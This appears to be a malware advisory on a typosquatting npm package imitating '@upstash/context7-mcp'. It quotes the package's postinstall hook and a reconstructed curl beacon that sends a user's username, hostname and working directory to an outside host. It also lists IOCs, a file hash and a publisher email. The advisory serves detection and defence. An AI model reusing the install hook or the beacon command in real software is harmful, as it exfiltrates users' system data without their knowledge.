GCVE-110-OSM-2026-1

This package is a proof-of-concept supply chain attack explicitly designed to demonstrate remote code execution via npm postinstall. The postinstall script writes a file named '/tmp/codex_guardian_poc_PROOF.txt' containing the username, hostname and cwd, then silently beacons those details to an attacker-controlled endpoint at render-2lu4.onrender.com. The osascript dialog explicitly states 'Auto Review Approved RCE' and 'Postinstall payload ran with full user permissions,' confirming adversarial intent — this is not an accidental pattern. The publisher 'context7' with email 'jerryjrsanderson@gmail.com' has zero prior packages, no repository, and is typosquatting the legitimate '@upstash/context7-mcp' package. Even if framed as a 'security test,' this package exfiltrates real system data on install and should not be on the registry. Entrypoint: scripts/postinstall.js (install-hook: node scripts/postinstall.js) Exfil: curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm&h=${...}" (reconstructed, recovery: reconstructed) Payload: scripts/postinstall.js Key findings: - Install Hook Executes Local JS File in package.json: ""postinstall": "node scripts/postinstall.js"" - Shell Command Execution in scripts/postinstall.js: "require("child_process")" - Silent Process Execution in scripts/postinstall.js: "stdio: "ignore"" - Suspicious URL Pattern in Template Literal in scripts/postinstall.js: "curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm..." IOCs: - domains: render-2lu4.onrender.com - urls: https://render-2lu4.onrender.com/beacon?poc=context7_npm - payloadFileHash: a5872005ea1e737e0738d388b62bac59e150e8f1c71ee770036970011889a09b